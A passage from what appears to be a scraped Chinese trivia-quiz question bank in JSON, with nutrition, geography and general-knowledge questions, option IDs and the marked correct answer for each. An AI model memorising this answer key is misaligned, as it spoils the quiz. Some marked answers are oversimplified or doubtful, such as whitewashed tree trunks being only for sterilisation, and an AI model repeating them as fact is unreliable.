04:40:57","status":"1"},{"questionId":"8801428730","questionIndex":"2","questionStem":"苹果中含有增强记忆力的微量元素是?","options":"[{\"optionId\":\"I8wSx0BRhzmSFMEb572V6-9HP7Qevv3OIrV6\",\"optionDesc\":\"碘\"},{\"optionId\":\"I8wSx0BRhzmSFMEb572V6hO4v4QFu-fuqZmq\",\"optionDesc\":\"铁\"},{\"optionId\":\"I8wSx0BRhzmSFMEb572V6dG30UoQUn-m1Qs6\",\"optionDesc\":\"锌\"}]","questionToken":"I8wSx0BRhzmSFMFK9PWOvE4gIetEmVLsOxdDOxpAauALQMspWM_V15GoXHWddS8dH66tYury7z8J1mzx4Bh5bz8dchyHAw","correct":"{\"optionId\":\"I8wSx0BRhzmSFMEb572V6dG30UoQUn-m1Qs6\",\"optionDesc\":\"锌\"}","create_time":"27/1/2021 04:48:24","update_time":"27/1/2021 04:48:24","status":"1"},{"questionId":"8801428791","questionIndex":"5","questionStem":"方便面里必然有哪种食品添加剂?","options":"[{\"optionId\":\"I8wSx0BRhzmYFcEb572V60mzbnD3CQp1yses\",\"optionDesc\":\"防腐剂\"},{\"optionId\":\"I8wSx0BRhzmYFcEb572V6rdZK6RpQclnwZ_i\",\"optionDesc\":\"食用色素\"},{\"optionId\":\"I8wSx0BRhzmYFcEb572V6fIK03TmC8mPrGRN\",\"optionDesc\":\"合成抗氧化剂\"}]","questionToken":"I8wSx0BRhzmYFcFN9PWOvHTVcKqfwBqRUyP3DxoQYugbc_FtHRBvdpifQCjD1_AAlEZKrRExVD-qh2u_bj74jYbHilGjuw","correct":"{\"optionId\":\"I8wSx0BRhzmYFcEb572V6fIK03TmC8mPrGRN\",\"optionDesc\":\"合成抗氧化剂\"}","create_time":"27/1/2021 04:37:39","update_time":"27/1/2021 04:37:39","status":"1"},{"questionId":"8801428800","questionIndex":"2","questionStem":"碘缺乏会对儿童、青少年造成什么影响?","options":"[{\"optionId\":\"I8wSx0BRhzaOhXd3GoW8XmGs_cKSUKp4fKaL\",\"optionDesc\":\"发育和智力受影响\"},{\"optionId\":\"I8wSx0BRhzaOhXd3GoW8XLHS8FGkxy3DT4wk\",\"optionDesc\":\"甲亢\"},{\"optionId\":\"I8wSx0BRhzaOhXd3GoW8XfuXPZNcxRDBWwiR\",\"optionDesc\":\"无力\"}]","questionToken":"I8wSx0BRhzaOhXcmCc2nC0fg6_OPJwxlL4Csbmv4hAxtR_WCOxS63qTTz9kBuqzcdWXR7a7IVr09dl_C0QrNYqpMmmQWaQ","correct":"{\"optionId\":\"I8wSx0BRhzaOhXd3GoW8XmGs_cKSUKp4fKaL\",\"optionDesc\":\"发育和智力受影响\"}","create_time":"27/1/2021 04:37:38","update_time":"27/1/2021 04:37:38","status":"1"},{"questionId":"8801428801","questionIndex":"3","questionStem":"为预防中暑应多喝?","options":"[{\"optionId\":\"I8wSx0BRhzaOhHd3GoW8Xi8w9L4icGpVwmqi4A\",\"optionDesc\":\"盐开水\"},{\"optionId\":\"I8wSx0BRhzaOhHd3GoW8XfqeX9uNA6K98TZuJQ\",\"optionDesc\":\"可乐\"},{\"optionId\":\"I8wSx0BRhzaOhHd3GoW8XAk9IufHb3DO2ebJQg\",\"optionDesc\":\"白开水\"}]","questionToken":"I8wSx0BRhzaOhHcnCc2nCyPTe4r7dudtLOiyRMi2KWVCwx0GWihF336lLKZmpRcCxZecuBNyl7tZ21bnc0k_0K29LSvCCQ","correct":"{\"optionId\":\"I8wSx0BRhzaOhHd3GoW8Xi8w9L4icGpVwmqi4A\",\"optionDesc\":\"盐开水\"}","create_time":"27/1/2021 04:42:58","update_time":"27/1/2021 04:42:58","status":"1"},{"questionId":"8801428802","questionIndex":"3","questionStem":"烧菜时最好在何时加碘盐以减少碘的损失?","options":"[{\"optionId\":\"I8wSx0BRhzaOh3d3GoW8XUlxOw8KzFKOxxzG\",\"optionDesc\":\"烧菜加水前\"},{\"optionId\":\"I8wSx0BRhzaOh3d3GoW8XAgt72-GsEKwE3ap\",\"optionDesc\":\"烧菜前用碘盐爆锅\"},{\"optionId\":\"I8wSx0BRhzaOh3d3GoW8Xk8IkhLC0IfwNCcY\",\"optionDesc\":\"菜将出锅时\"}]","questionToken":"I8wSx0BRhzaOh3cnCc2nDFm0nYtf8YRrcqX-cTaFHHFpuzH_QFN3paC6knNBYOcZ9dN9_ZcuyAn-C45X8wrR6-OkobMh6A","correct":"{\"optionId\":\"I8wSx0BRhzaOh3d3GoW8Xk8IkhLC0IfwNCcY\",\"optionDesc\":\"菜将出锅时\"}","create_time":"27/1/2021 04:51:43","update_time":"27/1/2021 04:51:43","status":"1"},{"questionId":"8801428803","questionIndex":"2","questionStem":"下列不属于营养物质的是?","options":"[{\"optionId\":\"I8wSx0BRhzaOhnd3GoW8XiLoSPba-hP5ois\",\"optionDesc\":\"肝糖元分解形成的葡萄糖\"},{\"optionId\":\"I8wSx0BRhzaOhnd3GoW8XAAsVZncx0qK3Uc\",\"optionDesc\":\"食物中的胡萝卜素\"},{\"optionId\":\"I8wSx0BRhzaOhnd3GoW8XVIkNECKlVwemFs\",\"optionDesc\":\"食物中的葡萄糖\"}]","questionToken":"I8wSx0BRhzaOhncmCc2nDLm4oFzNtj1_qQxnUy8aOFinP8wXJSjzfyH5Evb1j2LXfuEwL3pXWMKOhdMH1xwI6OWPFkeqQQ","correct":"{\"optionId\":\"I8wSx0BRhzaOhnd3GoW8XiLoSPba-hP5ois\",\"optionDesc\":\"肝糖元分解形成的葡萄糖\"}","create_time":"27/1/2021 04:36:49","update_time":"27/1/2021 04:36:49","status":"1"},{"questionId":"8801428804","questionIndex":"5","questionStem":"脑发育的最关键时期是?","options":"[{\"optionId\":\"I8wSx0BRhzaOgXd3GoW8XaVJKVkYnhmGCU_Isg\",\"optionDesc\":\"婴儿期和儿童期\"},{\"optionId\":\"I8wSx0BRhzaOgXd3GoW8XgGa-HrZsa5UPBB5Wg\",\"optionDesc\":\"胎儿期和婴儿期\"},{\"optionId\":\"I8wSx0BRhzaOgXd3GoW8XA0xcJiyKSZRBTcKEg\",\"optionDesc\":\"青春期和婴儿期\"}]","questionToken":"I8wSx0BRhzaOgXchCc2nDPsQ1GE95n_jK_LhhcTS-t50ReE0szNbweJq1m1x_RMD47TrjY9X6Z5FQXYkyO8brqN2Iog5rQ","correct":"{\"optionId\":\"I8wSx0BRhzaOgXd3GoW8XgGa-HrZsa5UPBB5Wg\",\"optionDesc\":\"胎儿期和婴儿期\"}","create_time":"27/1/2021 04:39:30","update_time":"27/1/2021 04:39:30","status":"1"},{"questionId":"8801428805","questionIndex":"5","questionStem":"自然界中,有“智慧元素”之称的是?","options":"[{\"optionId\":\"I8wSx0BRhzaOgHd3GoW8XWUwld2i3yy2_Vc69A\",\"optionDesc\":\"锌\"},{\"optionId\":\"I8wSx0BRhzaOgHd3GoW8XPmmKNySD1sUC58XrQ\",\"optionDesc\":\"铁\"},{\"optionId\":\"I8wSx0BRhzaOgHd3GoW8XkEQ6Zke_8y3fbLl9Q\",\"optionDesc\":\"碘\"}]","questionToken":"I8wSx0BRhzaOgHchCc2nC_QDpn47SH4QSx_A5Pgrs0MDltE1HGGmdNexRQFtisbpcFCGBnhk2ab1_TSyMGOagUYdJBFxUg","correct":"{\"optionId\":\"I8wSx0BRhzaOgHd3GoW8XkEQ6Zke_8y3fbLl9Q\",\"optionDesc\":\"碘\"}","create_time":"27/1/2021 04:48:35","update_time":"27/1/2021 04:48:35","status":"1"},{"questionId":"8801428806","questionIndex":"4","questionStem":"火炬中常用的火炬燃料是?","options":"[{\"optionId\":\"I8wSx0BRhzaOg3d3GoW8Xf2CcKWubbwpVbtC\",\"optionDesc\":\"柴油\"},{\"optionId\":\"I8wSx0BRhzaOg3d3GoW8XrBVCC-sbR8hUqQK\",\"optionDesc\":\"丁烷和煤油\"},{\"optionId\":\"I8wSx0BRhzaOg3d3GoW8XGzn05Xu7z8E6rLm\",\"optionDesc\":\"汽油\"}]","questionToken":"I8wSx0BRhzaOg3cgCc2nC_sR57wZaIFICx4ByX_GmpH5707ig-dmrKC7nuFIvc2aeqiFn_TlXxij2-312JO-u1xPvLTIfg","correct":"{\"optionId\":\"I8wSx0BRhzaOg3d3GoW8XrBVCC-sbR8hUqQK\",\"optionDesc\":\"丁烷和煤油\"}","create_time":"27/1/2021 04:51:19","update_time":"27/1/2021 04:51:19","status":"1"},{"questionId":"8801428807","questionIndex":"2","questionStem":"煮鸡蛋时不宜用以下哪种容器?","options":"[{\"optionId\":\"I8wSx0BRhzaOgnd3GoW8XobWv0AiBdNTJZc\",\"optionDesc\":\"银制容器\"},{\"optionId\":\"I8wSx0BRhzaOgnd3GoW8XOlukMNUwaZyVJA\",\"optionDesc\":\"铝制容器\"},{\"optionId\":\"I8wSx0BRhzaOgnd3GoW8XS7EUejITNH_Ke4\",\"optionDesc\":\"陶制容器\"}]","questionToken":"I8wSx0BRhzaOgncmCc2nCzQMAo4nyYue2l4IqwVfiE2gkFc4zuVKTDAloK8o4nWAfkVno04I0FyUEw8D7ueD5Ua7KRzeKg","correct":"{\"optionId\":\"I8wSx0BRhzaOgnd3GoW8XobWv0AiBdNTJZc\",\"optionDesc\":\"银制容器\"}","create_time":"27/1/2021 04:36:59","update_time":"27/1/2021 04:36:59","status":"1"},{"questionId":"8801428808","questionIndex":"4","questionStem":"生活中常说的“五金”不包括下列哪种金属?","options":"[{\"optionId\":\"I8wSx0BRhzaOjXd3GoW8XTHL948_PPrbigrL\",\"optionDesc\":\"锡\"},{\"optionId\":\"I8wSx0BRhzaOjXd3GoW8Xv6Y2c7ZLdAKmBa_\",\"optionDesc\":\"锌\"},{\"optionId\":\"I8wSx0BRhzaOjXd3GoW8XA7FAqrsHWHVVQaP\",\"optionDesc\":\"铁\"}]","questionToken":"I8wSx0BRhzaOjXcgCc2nC3rFbN0GxuPTLMQQdeZ-3Csm5-4BJt-3tv8SmFLTov4VVVX4X3CvXXPbwpqYmwdj31hvWpYuJQ","correct":"{\"optionId\":\"I8wSx0BRhzaOjXd3GoW8Xv6Y2c7ZLdAKmBa_\",\"optionDesc\":\"锌\"}","create_time":"27/1/2021 04:49:15","update_time":"27/1/2021 04:49:15","status":"1"},{"questionId":"8801428809","questionIndex":"2","questionStem":"18K 金饰品的含金量是?","options":"[{\"optionId\":\"I8wSx0BRhzaOjHd3GoW8XBkaBll7RwPPW9zN\",\"optionDesc\":\"65%\"},{\"optionId\":\"I8wSx0BRhzaOjHd3GoW8XQSl9u3b3PHoN71X\",\"optionDesc\":\"85%\"},{\"optionId\":\"I8wSx0BRhzaOjHd3GoW8XhIMJq71KoTmPhnU\",\"optionDesc\":\"75%\"}]","questionToken":"I8wSx0BRhzaOjHcmCc2nCzjlY7EEru7Kz6pWdX4QAauj5wkM1sbb0HGzbUbkvwD36ipZmvlqpPLSmonmconNabkxabUpMQ","correct":"{\"optionId\":\"I8wSx0BRhzaOjHd3GoW8XhIMJq71KoTmPhnU\",\"optionDesc\":\"75%\"}","create_time":"27/1/2021 04:42:49","update_time":"27/1/2021 04:42:49","status":"1"},{"questionId":"8801428810","questionIndex":"4","questionStem":"书上印着金灿灿的烫金字的组成为?","options":"[{\"optionId\":\"I8wSx0BRhzaPhXd3GoW8XKk-txV6qA7J_ral\",\"optionDesc\":\"锌锰合金\"},{\"optionId\":\"I8wSx0BRhzaPhXd3GoW8Xq5XiYPnXkP2i1kw\",\"optionDesc\":\"铜锌合金\"},{\"optionId\":\"I8wSx0BRhzaPhXd3GoW8XV4mRuqG8pJFFhJ0\",\"optionDesc\":\"铜锰合金\"}]","questionToken":"I8wSx0BRhzaPhXcgCc2nDBUFqlVaquA1DG6_W-bVcPODdHuJpIjV8AF3UJpsjLJQnyMQ0eocFpLcxV61PUDOC_ZJ8NlY5w","correct":"{\"optionId\":\"I8wSx0BRhzaPhXd3GoW8Xq5XiYPnXkP2i1kw\",\"optionDesc\":\"铜锌合金\"}","create_time":"27/1/2021 04:49:00","update_time":"27/1/2021 04:49:00","status":"1"},{"questionId":"8801428813","questionIndex":"2","questionStem":"钢是由什么组成的?","options":"[{\"optionId\":\"I8wSx0BRhzaPhnd3GoW8XjV5Mc_CvjCmBfDFbA\",\"optionDesc\":\"铁、碳\"},{\"optionId\":\"I8wSx0BRhzaPhnd3GoW8XIOcvwpGG7XKzNzBjw\",\"optionDesc\":\"铁、铝\"},{\"optionId\":\"I8wSx0BRhzaPhnd3GoW8XTjr2JoKogSl5bFOTw\",\"optionDesc\":\"铁、锡\"}]","questionToken":"I8wSx0BRhzaPhncmCc2nCzJ0_CKKRBQuF_385RyCYWRM5nO1GLhgiPAGiAUVAB08eh2QTjLpDb_LGhJWx2QIQXUxMwiFnQ","correct":"{\"optionId\":\"I8wSx0BRhzaPhnd3GoW8XjV5Mc_CvjCmBfDFbA\",\"optionDesc\":\"铁、碳\"}","create_time":"27/1/2021 04:48:37","update_time":"27/1/2021 04:48:37","status":"1"},{"questionId":"8801428814","questionIndex":"4","questionStem":"下列不属于绿色蔬菜所含营养物质的为?","options":"[{\"optionId\":\"I8wSx0BRhzaPgXd3GoW8XdyKUjhzDRKwPCXPzg\",\"optionDesc\":\"叶酸\"},{\"optionId\":\"I8wSx0BRhzaPgXd3GoW8XLF2-w3lhgGNfzbUqA\",\"optionDesc\":\"维生素C\"},{\"optionId\":\"I8wSx0BRhzaPgXd3GoW8Xg9iDQfU02yJOOKA7w\",\"optionDesc\":\"钙质\"}]","questionToken":"I8wSx0BRhzaPgXcgCc2nDLAJuMi-cKJccS8bRKLQRBZpvGIu6Awa1ccf8qdQf4lOX5wGf1w-ZEJFe15MqpO6B-vTapZFww","correct":"{\"optionId\":\"I8wSx0BRhzaPgXd3GoW8Xg9iDQfU02yJOOKA7w\",\"optionDesc\":\"钙质\"}","create_time":"27/1/2021 04:33:18","update_time":"27/1/2021 04:33:18","status":"1"},{"questionId":"8801428816","questionIndex":"5","questionStem":"大自然中废纸的分解约需要几个月?","options":"[{\"optionId\":\"I8wSx0BRhzaPg3d3GoW8XrBtn6P2g_XArVU\",\"optionDesc\":\"3-4个月\"},{\"optionId\":\"I8wSx0BRhzaPg3d3GoW8XBUHTuqU05jBO3o\",\"optionDesc\":\"8-10个月\"},{\"optionId\":\"I8wSx0BRhzaPg3d3GoW8XbmjLya0x9tAsio\",\"optionDesc\":\"5-7个月\"}]","questionToken":"I8wSx0BRhzaPg3chCc2nC1RDr6Yax89DRtSJO2kPd5gXIwMtG_kVBl3KMe-vCLZxV72_KhAWJlO0My7Jv5nJKDaOFcQzJw","correct":"{\"optionId\":\"I8wSx0BRhzaPg3d3GoW8XrBtn6P2g_XArVU\",\"optionDesc\":\"3-4个月\"}","create_time":"27/1/2021 04:50:45","update_time":"27/1/2021 04:50:45","status":"1"},{"questionId":"8801428817","questionIndex":"2","questionStem":"钙的最好食物来源是?","options":"[{\"optionId\":\"I8wSx0BRhzaPgnd3GoW8XQKmAiGs0IIvVg0\",\"optionDesc\":\"蔬菜\"},{\"optionId\":\"I8wSx0BRhzaPgnd3GoW8XKclZKIpyL9Rpls\",\"optionDesc\":\"豆类和豆制品\"},{\"optionId\":\"I8wSx0BRhzaPgnd3GoW8XrCyGiTIPoMTCCk\",\"optionDesc\":\"乳和乳制品\"}]","questionToken":"I8wSx0BRhzaPgncmCc2nC9CdCMFKrIPk-lHwCXiI0DF5HtQa4t4oIz-dFWtszTQrej-RcQZwfo0K8TVz-5MuWPY-ipbcVw","correct":"{\"optionId\":\"I8wSx0BRhzaPgnd3GoW8XrCyGiTIPoMTCCk\",\"optionDesc\":\"乳和乳制品\"}","create_time":"27/1/2021 04:39:14","update_time":"27/1/2021 04:39:14","status":"1"},{"questionId":"8801428819","questionIndex":"1","questionStem":"水约占成人体重的百分比?","options":"[{\"optionId\":\"I8wSx0BRhzaPjHd3GoW8Xh5DYBdfbgyfgVqb\",\"optionDesc\":\"三分之二\"},{\"optionId\":\"I8wSx0BRhzaPjHd3GoW8XfYb3R2JrjmScnw5\",\"optionDesc\":\"五分之四\"},{\"optionId\":\"I8wSx0BRhzaPjHd3GoW8XMh2o7H4-guBPXhj\",\"optionDesc\":\"二分之一\"}]","questionToken":"I8wSx0BRhzaPjHclCc2nDNnYzEfAo6Hv2TaiGTM0QQkDFNFA0wiN5byAYWgQReAUK68x_P41g6mE-9jvUkLKKUs6Ouer5w","correct":"{\"optionId\":\"I8wSx0BRhzaPjHd3GoW8Xh5DYBdfbgyfgVqb\",\"optionDesc\":\"三分之二\"}","create_time":"27/1/2021 04:41:07","update_time":"27/1/2021 04:41:07","status":"1"},{"questionId":"8801428824","questionIndex":"4","questionStem":"下列哪类食物为酸性食物?","options":"[{\"optionId\":\"I8wSx0BRhzaMgXd3GoW8XDBR7pUWawxfYpDO\",\"optionDesc\":\"茶叶\"},{\"optionId\":\"I8wSx0BRhzaMgXd3GoW8Xukw30rKqdMxpO-H\",\"optionDesc\":\"鸡蛋\"},{\"optionId\":\"I8wSx0BRhzaMgXd3GoW8XcCsSW4WX3YT6gSW\",\"optionDesc\":\"牛奶\"}]","questionToken":"I8wSx0BRhzaMgXcgCc2nC6gIvwXXyHkNFpwlaTJeLQgVZB9cnvOe134TDhUrZvcU_FAM783cN8iHbB0XgKAlPjdHnFJ13A","correct":"{\"optionId\":\"I8wSx0BRhzaMgXd3GoW8Xukw30rKqdMxpO-H\",\"optionDesc\":\"鸡蛋\"}","create_time":"27/1/2021 04:50:22","update_time":"27/1/2021 04:50:22","status":"1"},{"questionId":"8801428825","questionIndex":"1","questionStem":"树干为什么经常刷成白色?","options":"[{\"optionId\":\"I8wSx0BRhzaMgHd3GoW8XrMGfhXzy0tPMreF\",\"optionDesc\":\"灭菌\"},{\"optionId\":\"I8wSx0BRhzaMgHd3GoW8XbpLmq-SIqGz88I-\",\"optionDesc\":\"防牲口啃食\"},{\"optionId\":\"I8wSx0BRhzaMgHd3GoW8XJvTWc06sBcIJYsV\",\"optionDesc\":\"防火\"}]","questionToken":"I8wSx0BRhzaMgHclCc2nC0GAngn5T3f4FYdCaTq9NH8egu9HdS0LHOmU41LfuLSL6KP076kNo0wOigqvlDQZ0SZxH3wkbQ","correct":"{\"optionId\":\"I8wSx0BRhzaMgHd3GoW8XrMGfhXzy0tPMreF\",\"optionDesc\":\"灭菌\"}","create_time":"27/1/2021 04:41:48","update_time":"27/1/2021 04:41:48","status":"1"},{"questionId":"8801428826","questionIndex":"4","questionStem":"石头城是对我国哪座城市的美称?","options":"[{\"optionId\":\"I8wSx0BRhzaMg3d3GoW8XouLNtKeb6NgkB7I\",\"optionDesc\":\"南京\"},{\"optionId\":\"I8wSx0BRhzaMg3d3GoW8XfffilgT02c1s-w7\",\"optionDesc\":\"西安\"},{\"optionId\":\"I8wSx0BRhzaMg3d3GoW8XNbnU1spK8EXc3G9\",\"optionDesc\":\"南昌\"}]","questionToken":"I8wSx0BRhzaMg3cgCc2nC32Xwgi3Bfqc57qaTUPLim6XFhn_9gqnXwzgOqIBJWCE2_tHGJGC-YUzDWM3WircIRtKCQscOQ","correct":"{\"optionId\":\"I8wSx0BRhzaMg3d3GoW8XouLNtKeb6NgkB7I\",\"optionDesc\":\"南京\"}","create_time":"27/1/2021 04:41:47","update_time":"27/1/2021 04:41:47","status":"1"},{"questionId":"8801428827","questionIndex":"1","questionStem":"“山城”是我国哪座城市的雅号?","options":"[{\"optionId\":\"I8wSx0BRhzaMgnd3GoW8XdzOkMANZpHsNnj8\",\"optionDesc\":\"洛阳\"},{\"optionId\":\"I8wSx0BRhzaMgnd3GoW8XukFF3MoPVvakjPm\",\"optionDesc\":\"重庆\"},{\"optionId\":\"I8wSx0BRhzaMgnd3GoW8XIv5y_Rcmx_xpAVZ\",\"optionDesc\":\"福州\"}]","questionToken":"I8wSx0BRhzaMgnclCc2nDIwt8146iXArvE-cTBBZr1vUGA5EfTy_3c6moVXQkFvVw1WSLuGLxgdhP_gVJnr1Ch7sGFZ7RA","correct":"{\"optionId\":\"I8wSx0BRhzaMgnd3GoW8XukFF3MoPVvakjPm\",\"optionDesc\":\"重庆\"}","create_time":"27/1/2021 04:35:33","update_time":"27/1/2021 04:35:33","status":"1"},{"questionId":"8801428828","questionIndex":"1","questionStem":"我国面积最大的湖泊是?","options":"[{\"optionId\":\"I8wSx0BRhzaMjXd3GoW8XmJJhziauA5gdgDKmw\",\"optionDesc\":\"青海湖\"},{\"optionId\":\"I8wSx0BRhzaMjXd3GoW8XE8Wy8R1EiLl3nU09A\",\"optionDesc\":\"洞庭湖\"},{\"optionId\":\"I8wSx0BRhzaMjXd3GoW8XYXfGthrXxHd6-PQMA\",\"optionDesc\":\"鄱阳湖\"}]","questionToken":"I8wSx0BRhzaMjXclCc2nC8WyFVd6tYbCnYHaSCtCRNt4taBKhtW0oeDr_XxWedCUe7KLJ_CXRFiRvuF4xofSUKy59ERRcw","correct":"{\"optionId\":\"I8wSx0BRhzaMjXd3GoW8XmJJhziauA5gdgDKmw\",\"optionDesc\":\"青海湖\"}","create_time":"27/1/2021 04:52:34","update_time":"27/1/2021 04:52:34","status":"1"},{"questionId":"8801428829","questionIndex":"4","questionStem":"世界国土面积最小的国家是?","options":"[{\"optionId\":\"I8wSx0BRhzaMjHd3GoW8XOvt_xOchJUeRxM\",\"optionDesc\":\"瑙鲁\"},{\"optionId\":\"I8wSx0BRhzaMjHd3GoW8Xtjh2BaBTGTujE8\",\"optionDesc\":\"梵蒂冈\"},{\"optionId\":\"I8wSx0BRhzaMjHd3GoW8Xa9KGV3plCAU7Gk\",\"optionDesc\":\"摩纳哥\"}]","questionToken":"I8wSx0BRhzaMjHcgCc2nDN6TrWKy_TJg7Nz07k6mKCNT-K-_9bJ1IlLhJqvz3BbSNi5EX-vwhU4XwqtiWJ5dfqozyZyhkw","correct":"{\"optionId\":\"I8wSx0BRhzaMjHd3GoW8Xtjh2BaBTGTujE8\",\"optionDesc\":\"梵蒂冈\"}","create_time":"27/1/2021 04:40:38","update_time":"27/1/2021 04:40:38","status":"1"},{"questionId":"8801428830","questionIndex":"3","questionStem":"世界石油储量最多是哪一个国家?","options":"[{\"optionId\":\"I8wSx0BRhzaNhXd3GoW8XO_Gqkf53S55gT9Z\",\"optionDesc\":\"伊拉克\"},{\"optionId\":\"I8wSx0BRhzaNhXd3GoW8XafF_bntSzyAFWI_\",\"optionDesc\":\"伊朗\"},{\"optionId\":\"I8wSx0BRhzaNhXd3GoW8XsTnFcVp0oONXas-\",\"optionDesc\":\"沙特阿拉伯\"}]","questionToken":"I8wSx0BRhzaNhXcnCc2nC3K7eOHluWDBJx0tueWgSgwqyR8AwfznZzjgYWmSpdmpC4NCv0a0T1SGtOHz1HkAFWn3OkRBng","correct":"{\"optionId\":\"I8wSx0BRhzaNhXd3GoW8XsTnFcVp0oONXas-\",\"optionDesc\":\"沙特阿拉伯\"}","create_time":"27/1/2021 04:45:12","update_time":"27/1/2021 04:45:12","status":"1"},{"questionId":"8801428838","questionIndex":"1","questionStem":"火车连续发出两声长鸣,表示什么?","options":"[{\"optionId\":\"I8wSx0BRhzaNjXd3GoW8XlCqA83DnDjhTKCb7Q\",\"optionDesc\":\"倒退\"},{\"optionId\":\"I8wSx0BRhzaNjXd3GoW8XeK8IVYHD1qfbUZCqg\",\"optionDesc\":\"故障\"},{\"optionId\":\"I8wSx0BRhzaNjXd3GoW8XJwgBUV6yFD0o-cS5g\",\"optionDesc\":\"前进\"}]","questionToken":"I8wSx0BRhzaNjXclCc2nDE1NlZfZAmMpy1g1WSdvLuTrzg0DHYiZ_x8omq94VA-QRWMTx3G8o83o1iFRO31WU__PT26fXw","correct":"{\"optionId\":\"I8wSx0BRhzaNjXd3GoW8XlCqA83DnDjhTKCb7Q\",\"optionDesc\":\"倒退\"}","create_time":"27/1/2021 04:50:49","update_time":"27/1/2021 04:50:49","status":"1"},{"questionId":"8801428839","questionIndex":"4","questionStem":"下列著名宫殿哪个位于英国?","options":"[{\"optionId\":\"I8wSx0BRhzaNjHd3GoW8XrZ88t_UpIFS\",\"optionDesc\":\"白金汉宫\"},{\"optionId\":\"I8wSx0BRhzaNjHd3GoW8XbQcKFK5PJSO\",\"optionDesc\":\"凡尔赛宫\"},{\"optionId\":\"I8wSx0BRhzaNjHd3GoW8XMg0T6ATtUKT\",\"optionDesc\":\"克里姆林宫\"}]","questionToken":"I8wSx0BRhzaNjHcgCc2nC73Rk6c1oLxIRElHH3E1rmXmRuHSavAR6KI-oM4a82uCJxEfF8_5GZlv2iI_TsaX7Hllkfnbnw","correct":"{\"optionId\":\"I8wSx0BRhzaNjHd3GoW8XrZ88t_UpIFS\",\"optionDesc\":\"白金汉宫\"}","create_time":"27/1/2021 04:50:22","update_time":"27/1/2021 04:50:22","status":"1"},{"questionId":"8801428841","questionIndex":"1","questionStem":"下列著名建筑物哪个不属于法国?","options":"[{\"optionId\":\"I8wSx0BRhzaKhHd3GoW8XHYkOQHa3jXI6ldmXw\",\"optionDesc\":\"卢浮宫\"},{\"optionId\":\"I8wSx0BRhzaKhHd3GoW8XmUcdBbP6SjuWyyUgQ\",\"optionDesc\":\"比萨斜塔\"},{\"optionId\":\"I8wSx0BRhzaKhHd3GoW8XXHpUtsA6zXYlnO8Bw\",\"optionDesc\":\"凯旋门\"}]","questionToken":"I8wSx0BRhzaKhHclCc2nDERsd0KJv0pNU0zjVRY8ESj257qFh1Y0nBIaZfxdTAzVVMGauow-3bD18OttlAKbY-DoMR3SAQ","correct":"{\"optionId\":\"I8wSx0BRhzaKhHd3GoW8XmUcdBbP6SjuWyyUgQ\",\"optionDesc\":\"比萨斜塔\"}","create_time":"27/1/2021 04:43:48","update_time":"27/1/2021 04:43:48","status":"1"},{"questionId":"8801428844","questionIndex":"2","questionStem":"“粒子束武器”是指什么武器?","options":"[{\"optionId\":\"I8wSx0BRhzaKgXd3GoW8XGf8QZ9wDnsTPwTc\",\"optionDesc\":\"微波武器\"},{\"optionId\":\"I8wSx0BRhzaKgXd3GoW8XkzyzP3On7bXiDRW\",\"optionDesc\":\"X射线激光武器\"},{\"optionId\":\"I8wSx0BRhzaKgXd3GoW8XR2hSdn3-bg1S7wv\",\"optionDesc\":\"激光武器\"}]","questionToken":"I8wSx0BRhzaKgXcmCc2nDPGD6Ph9XKHLwXv1JBKYWN2jlt-60ewxftUajK8A5Jfto6YlW28kRuaCmiVspl78g1SD_sEBcw","correct":"{\"optionId\":\"I8wSx0BRhzaKgXd3GoW8XkzyzP3On7bXiDRW\",\"optionDesc\":\"X射线激光武器\"}","create_time":"27/1/2021 04:41:41","update_time":"27/1/2021 04:41:41","status":"1"},{"questionId":"8801428847","questionIndex":"3","questionStem":"防弹衣是由什么材料制成的?","options":"[{\"optionId\":\"I8wSx0BRhzaKgnd3GoW8XiLGBhqnUcPmVrBDpw\",\"optionDesc\":\"陶瓷玻璃钢\"},{\"optionId\":\"I8wSx0BRhzaKgnd3GoW8XPFQTbxfFtgZX6Ptrg\",\"optionDesc\":\"软不透钢\"},{\"optionId\":\"I8wSx0BRhzaKgnd3GoW8XRzLQsPwg2QHIXxYWg\",\"optionDesc\":\"钨合金钢\"}]","questionToken":"I8wSx0BRhzaKgncnCc2nCyJ2c3dq6_8ARiAxZrw2uJdoy48UWKTY77Lj33Iae9KJm1QDliDA-4vQXdMrD-UWp9DVKGnYbg","correct":"{\"optionId\":\"I8wSx0BRhzaKgnd3GoW8XiLGBhqnUcPmVrBDpw\",\"optionDesc\":\"陶瓷玻璃钢\"}","create_time":"27/1/2021 04:43:15","update_time":"27/1/2021 04:43:15","status":"1"},{"questionId":"8801428848","questionIndex":"4","questionStem":"左轮手枪一共可装几颗子弹?","options":"[{\"optionId\":\"I8wSx0BRhzaKjXd3GoW8Xae4bX4LvzOLvVY\",\"optionDesc\":\"7颗\"},{\"optionId\":\"I8wSx0BRhzaKjXd3GoW8XgctBOIt-crCrAk\",\"optionDesc\":\"6颗\"},{\"optionId\":\"I8wSx0BRhzaKjXd3GoW8XNPuqeeNMYCwZDw\",\"optionDesc\":\"5颗\"}]","questionToken":"I8wSx0BRhzaKjXcgCc2nC-Wu9f_d2P6Szf2zvaaFjd8wFQedwTOpFwu9fuAqFtOzB-jZEavhA9MdTHk0MfAKafGXQHQdYQ","correct":"{\"optionId\":\"I8wSx0BRhzaKjXd3GoW8XgctBOIt-crCrAk\",\"optionDesc\":\"6颗\"}","create_time":"27/1/2021 04:37:00","update_time":"27/1/2021 04:37:00","status":"1"},{"questionId":"8801428849","questionIndex":"5","questionStem":"下列世界奇迹哪个位于伊拉克?","options":"[{\"optionId\":\"I8wSx0BRhzaKjHd3GoW8Xu4pdwK08DFF_rRO\",\"optionDesc\":\"空中花园\"},{\"optionId\":\"I8wSx0BRhzaKjHd3GoW8XbemwQYhfnXvN4Ne\",\"optionDesc\":\"宙斯神像\"},{\"optionId\":\"I8wSx0BRhzaKjHd3GoW8XEkb2bfhw-O_Hvbq\",\"optionDesc\":\"太阳神像\"}]","questionToken":"I8wSx0BRhzaKjHchCc2nDMnTUv70IdJmx7vdd3z_4JIBUbbxZ-R1Iiq4TWSFM1UOCfiCpf9NU8XnEFdXdaBOe9sNO76X4Q","correct":"{\"optionId\":\"I8wSx0BRhzaKjHd3GoW8Xu4pdwK08DFF_rRO\",\"optionDesc\":\"空中花园\"}","create_time":"27/1/2021 04:46:05","update_time":"27/1/2021 